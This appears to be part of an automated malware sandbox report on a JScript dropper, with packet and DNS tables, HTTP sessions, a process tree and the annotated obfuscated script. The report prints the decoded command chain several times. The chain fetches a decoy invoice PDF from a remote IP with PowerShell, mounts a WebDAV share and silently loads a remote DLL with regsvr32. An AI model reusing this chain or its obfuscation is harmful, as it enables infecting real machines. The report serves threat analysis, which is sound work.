Jan 11, 2025 07:13:10.069793940 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:10.269020081 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:14:52.542187929 CET	63083	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:14:52.547132015 CET	53	63083	1.1.1.1	192.168.2.4
Jan 11, 2025 07:14:52.547307968 CET	63083	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:14:52.547391891 CET	63083	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:14:52.552299976 CET	53	63083	1.1.1.1	192.168.2.4
Jan 11, 2025 07:14:53.018929005 CET	53	63083	1.1.1.1	192.168.2.4
Jan 11, 2025 07:14:53.022469044 CET	63083	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:14:53.027658939 CET	53	63083	1.1.1.1	192.168.2.4
Jan 11, 2025 07:14:53.027743101 CET	63083	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:13:22.167618036 CET	56151	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:14:52.541606903 CET	53	62462	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:13:22.167618036 CET	192.168.2.4	1.1.1.1	0x3642	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:13:22.174432039 CET	1.1.1.1	192.168.2.4	0x3642	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7784	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:13:07.115858078 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:13:07.907536983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:13:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:13:07.907555103 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:13:07.907671928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:13:07.907684088 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 07:13:07.907843113 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 07:13:07.908016920 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 07:13:07.908030033 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 07:13:07.908041000 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 07:13:07.908359051 CET	776	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 07:13:07.908371925 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 07:13:07.913256884 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	8000	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:13:09.183326006 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:13:10.021887064 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:13:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:13:03
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js"
Imagebase:	0x7ff780980000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:13:04
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Imagebase:	0x7ff648bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:13:04
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:13:04
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:13:07
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	01:13:07
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff648bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:13:07
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cb770000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:13:08
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	01:13:08
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:13:08
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,311617916915985056,248870337893757066,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wfbfbxqg() {	wfbfbxqg() ➔ undefined
1	aovudorn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var irdep = this[kiwogl + ojoknf + ejwkqe + zhvne + pbvjkryl + ykidpoeb + hmqqwc + hfcem] ( this[pjhra + zirxpk + kvudboll + ejwkqe + ckygdov + kiwogl + hfcem][irxpciie + ejwkqe + pbvjkryl + ojoknf + hfcem + pbvjkryl + ozpjz + ybquwjqo + gdeydxeum + pbvjkryl + kvudboll + hfcem] ( pjhra + zirxpk + kvudboll + ejwkqe + ckygdov + kiwogl + hfcem + fivcqtk + zirxpk + uswjgr + pbvjkryl + llecov + llecov ) [ftqckl + pbvjkryl + ojjbtj + ftqckl + pbvjkryl + ojoknf + rkffa] ( zyfuppc + gwuuq + rhmlwpt + gmtyfjkv + augjvpr + irxpciie + vbtmgbx + ftqckl + ftqckl + rhmlwpt + hayljya + sahfbwj + augjvpr + vbtmgbx + zirxpk + rhmlwpt + ftqckl + wiigkdq + irxpciie + nwhlgr + hmqqwc + hfcem + ejwkqe + nwhlgr + llecov + wtyml + tmois + ojoknf + hmqqwc + pbvjkryl + llecov + wiigkdq + ykidpoeb + hmqqwc + hfcem + pbvjkryl + ejwkqe + hmqqwc + ojoknf + hfcem + ckygdov + nwhlgr + hmqqwc + ojoknf + llecov + wiigkdq + dvpwn + nwhlgr + kvudboll + ojoknf + llecov + pbvjkryl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tduzka = 0 ; tduzka < aovudorn[llecov + pbvjkryl + hmqqwc + ojjbtj + hfcem + uswjgr] ; ++ tduzka )
4	{
5	if ( irdep == aovudorn[tduzka] )
6	{
7	irdep = true;
8	break ;
9	}
10	}
11	if ( irdep !== true )
12	this[pjhra + zirxpk + kvudboll + ejwkqe + ckygdov + kiwogl + hfcem][ppfym + qbegf + ckygdov + hfcem] ( );
13	this[pjhra + zirxpk + kvudboll + ejwkqe + ckygdov + kiwogl + hfcem][irxpciie + ejwkqe + pbvjkryl + ojoknf + hfcem + pbvjkryl + ozpjz + ybquwjqo + gdeydxeum + pbvjkryl + kvudboll + hfcem] ( pjhra + zirxpk + kvudboll + ejwkqe + ckygdov + kiwogl + hfcem + fivcqtk + zirxpk + uswjgr + pbvjkryl + llecov + llecov ) [ejwkqe + qbegf + hmqqwc] ( kvudboll + dwqcaerg + rkffa + wtyml + gegkqgxsf + kvudboll + wtyml + kiwogl + nwhlgr + wkanypfew + pbvjkryl + ejwkqe + zhvne + uswjgr + pbvjkryl + llecov + llecov + fivcqtk + pbvjkryl + cnswdu + pbvjkryl + wtyml + yxnbqomr + irxpciie + nwhlgr + dwqcaerg + dwqcaerg + ojoknf + hmqqwc + rkffa + wtyml + dvnkm + ykidpoeb + hmqqwc + wqbxqipk + nwhlgr + zmhdlkx + pbvjkryl + yxnbqomr + pjhra + pbvjkryl + ybquwjqo + ftqckl + pbvjkryl + uwpcbvmv + qbegf + pbvjkryl + zhvne + hfcem + wtyml + yxnbqomr + ozpjz + qbegf + hfcem + oionbckw + ckygdov + llecov + pbvjkryl + wtyml + ueywl + hfcem + pbvjkryl + dwqcaerg + kiwogl + ueywl + wiigkdq + ckygdov + hmqqwc + wqbxqipk + nwhlgr + ckygdov + kvudboll + pbvjkryl + fivcqtk + kiwogl + rkffa + tazjoj + wtyml + uswjgr + hfcem + hfcem + kiwogl + vrujqdjf + gegkqgxsf + gegkqgxsf + cmpvx + gshugnoqw + alimpny + fivcqtk + cmpvx + gavycp + alimpny + fivcqtk + cmpvx + fivcqtk + cwmqord + yvdol + pirji + gegkqgxsf + ckygdov + hmqqwc + wqbxqipk + nwhlgr + ckygdov + kvudboll + pbvjkryl + fivcqtk + kiwogl + uswjgr + kiwogl + dvnkm + tldrppqzx + tldrppqzx + zhvne + hfcem + ojoknf + ejwkqe + hfcem + wtyml + ueywl + hfcem + pbvjkryl + dwqcaerg + kiwogl + ueywl + wiigkdq + ckygdov + hmqqwc + wqbxqipk + nwhlgr + ckygdov + kvudboll + pbvjkryl + fivcqtk + kiwogl + rkffa + tazjoj + tldrppqzx + tldrppqzx + kvudboll + dwqcaerg + rkffa + wtyml + gegkqgxsf + kvudboll + wtyml + hmqqwc + pbvjkryl + hfcem + wtyml + qbegf + zhvne + pbvjkryl + wtyml + wiigkdq + wiigkdq + cmpvx + gshugnoqw + alimpny + fivcqtk + cmpvx + gavycp + alimpny + fivcqtk + cmpvx + fivcqtk + cwmqord + yvdol + pirji + sbyog + oxztos + oxztos + oxztos + oxztos + wiigkdq + rkffa + ojoknf + wqbxqipk + wkanypfew + wkanypfew + wkanypfew + ejwkqe + nwhlgr + nwhlgr + hfcem + wiigkdq + tldrppqzx + tldrppqzx + kvudboll + dwqcaerg + rkffa + wtyml + gegkqgxsf + kvudboll + wtyml + ejwkqe + pbvjkryl + ojjbtj + zhvne + wqbxqipk + ejwkqe + alimpny + cwmqord + wtyml + gegkqgxsf + zhvne + wtyml + wiigkdq + wiigkdq + cmpvx + gshugnoqw + alimpny + fivcqtk + cmpvx + gavycp + alimpny + fivcqtk + cmpvx + fivcqtk + cwmqord + yvdol + pirji + sbyog + oxztos + oxztos + oxztos + oxztos + wiigkdq + rkffa + ojoknf + wqbxqipk + wkanypfew + wkanypfew + wkanypfew + ejwkqe + nwhlgr + nwhlgr + hfcem + wiigkdq + gavycp + alimpny + gshugnoqw + pirji + cwmqord + gshugnoqw + oxztos + mmjrlyze + alimpny + gshugnoqw + gshugnoqw + mmjrlyze + cmpvx + fivcqtk + rkffa + llecov + llecov, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll",0,false) ➔ 0
14	}
15	hmqqwc = "q";
16	hmqqwc = "R";
17	hmqqwc = "e";
18	hmqqwc = "K";
19	hmqqwc = "p";
20	hmqqwc = "v";
21	hmqqwc = "o";
22	hmqqwc = "e";
23	hmqqwc = "y";
24	hmqqwc = "l";
25	hmqqwc = "m";
26	hmqqwc = "r";
27	hmqqwc = "b";
28	hmqqwc = "T";
29	hmqqwc = "O";
30	hmqqwc = "Q";
31	hmqqwc = "H";
32	hmqqwc = "G";
33	hmqqwc = "N";
34	hmqqwc = "d";
35	hmqqwc = "D";
36	hmqqwc = "M";
37	hmqqwc = "N";
38	hmqqwc = "L";
39	hmqqwc = "B";
40	hmqqwc = "N";
41	hmqqwc = "b";
42	hmqqwc = "E";
43	hmqqwc = "p";
44	hmqqwc = "j";
45	hmqqwc = "j";
46	hmqqwc = "O";
47	hmqqwc = "m";
48	hmqqwc = "o";
49	hmqqwc = "d";
50	hmqqwc = "o";
51	hmqqwc = "N";
52	hmqqwc = "h";
53	hmqqwc = "n";
54	pbvjkryl = "p";
55	pbvjkryl = "h";
56	pbvjkryl = "k";
57	pbvjkryl = "t";
58	pbvjkryl = "n";
59	pbvjkryl = "u";
60	pbvjkryl = "Q";
61	pbvjkryl = "r";
62	pbvjkryl = "m";
63	pbvjkryl = "L";
64	pbvjkryl = "B";
65	pbvjkryl = "j";
66	pbvjkryl = "f";
67	pbvjkryl = "B";
68	pbvjkryl = "o";
69	pbvjkryl = "D";
70	pbvjkryl = "L";
71	pbvjkryl = "D";
72	pbvjkryl = "O";
73	pbvjkryl = "t";
74	pbvjkryl = "p";
75	pbvjkryl = "Y";
76	pbvjkryl = "u";
77	pbvjkryl = "e";
78	pbvjkryl = "c";
79	pbvjkryl = "N";
80	pbvjkryl = "s";
81	pbvjkryl = "a";
82	pbvjkryl = "e";
83	dwqcaerg = "g";
84	dwqcaerg = "w";
85	dwqcaerg = "H";
86	dwqcaerg = "q";
87	dwqcaerg = "v";
88	dwqcaerg = "d";
89	dwqcaerg = "V";
90	dwqcaerg = "X";
91	dwqcaerg = "r";
92	dwqcaerg = "n";
93	dwqcaerg = "B";
94	dwqcaerg = "F";
95	dwqcaerg = "t";
96	dwqcaerg = "M";
97	dwqcaerg = "f";
98	dwqcaerg = "N";
99	dwqcaerg = "W";
100	dwqcaerg = "W";
101	dwqcaerg = "X";
102	dwqcaerg = "w";
103	dwqcaerg = "w";
104	dwqcaerg = "I";
105	dwqcaerg = "V";
106	dwqcaerg = "A";
107	dwqcaerg = "Q";
108	dwqcaerg = "p";
109	dwqcaerg = "c";
110	dwqcaerg = "A";
111	dwqcaerg = "Z";
112	dwqcaerg = "k";
113	dwqcaerg = "j";
114	dwqcaerg = "m";
115	sbyog = "v";
116	sbyog = "q";
117	sbyog = "V";
118	sbyog = "A";
119	sbyog = "B";
120	sbyog = "t";
121	sbyog = "d";
122	sbyog = "T";
123	sbyog = "p";
124	sbyog = "F";
125	sbyog = "A";
126	sbyog = "Z";
127	sbyog = "m";
128	sbyog = "q";
129	sbyog = "Z";
130	sbyog = "u";
131	sbyog = "R";
132	sbyog = "S";
133	sbyog = "U";
134	sbyog = "a";
135	sbyog = "P";
136	sbyog = "u";
137	sbyog = "H";
138	sbyog = "n";
139	sbyog = "b";
140	sbyog = "W";
141	sbyog = "Y";
142	sbyog = "Z";
143	sbyog = "r";
144	sbyog = "@";
145	tldrppqzx = "U";
146	tldrppqzx = "e";
147	tldrppqzx = "A";
148	tldrppqzx = "L";
149	tldrppqzx = "g";
150	tldrppqzx = "o";
151	tldrppqzx = "O";
152	tldrppqzx = "E";
153	tldrppqzx = "t";
154	tldrppqzx = "l";
155	tldrppqzx = "y";
156	tldrppqzx = "o";
157	tldrppqzx = "M";
158	tldrppqzx = "d";
159	tldrppqzx = "E";
160	tldrppqzx = "N";
161	tldrppqzx = "i";
162	tldrppqzx = "v";
163	tldrppqzx = "X";
164	tldrppqzx = "o";
165	tldrppqzx = "U";
166	tldrppqzx = "O";
167	tldrppqzx = "s";
168	tldrppqzx = "Z";
169	tldrppqzx = "Z";
170	tldrppqzx = "I";
171	tldrppqzx = "e";
172	tldrppqzx = "p";
173	tldrppqzx = "I";
174	tldrppqzx = "R";
175	tldrppqzx = "y";
176	tldrppqzx = "N";
177	tldrppqzx = "p";
178	tldrppqzx = "Z";
179	tldrppqzx = "V";
180	tldrppqzx = "&";
181	pirji = "5";
182	vbtmgbx = "d";
183	vbtmgbx = "x";
184	vbtmgbx = "u";
185	vbtmgbx = "N";
186	vbtmgbx = "n";
187	vbtmgbx = "i";
188	vbtmgbx = "R";
189	vbtmgbx = "F";
190	vbtmgbx = "u";
191	vbtmgbx = "U";
192	kvudboll = "t";
193	kvudboll = "Y";
194	kvudboll = "y";
195	kvudboll = "u";
196	kvudboll = "e";
197	kvudboll = "O";
198	kvudboll = "Y";
199	kvudboll = "a";
200	kvudboll = "G";
201	kvudboll = "x";
202	kvudboll = "j";
203	kvudboll = "f";
204	kvudboll = "G";
205	kvudboll = "t";
206	kvudboll = "f";
207	kvudboll = "K";
208	kvudboll = "L";
209	kvudboll = "N";
210	kvudboll = "U";
211	kvudboll = "m";
212	kvudboll = "M";
213	kvudboll = "A";
214	kvudboll = "D";
215	kvudboll = "d";
216	kvudboll = "x";
217	kvudboll = "c";
218	kvudboll = "A";
219	kvudboll = "B";
220	kvudboll = "T";
221	kvudboll = "i";
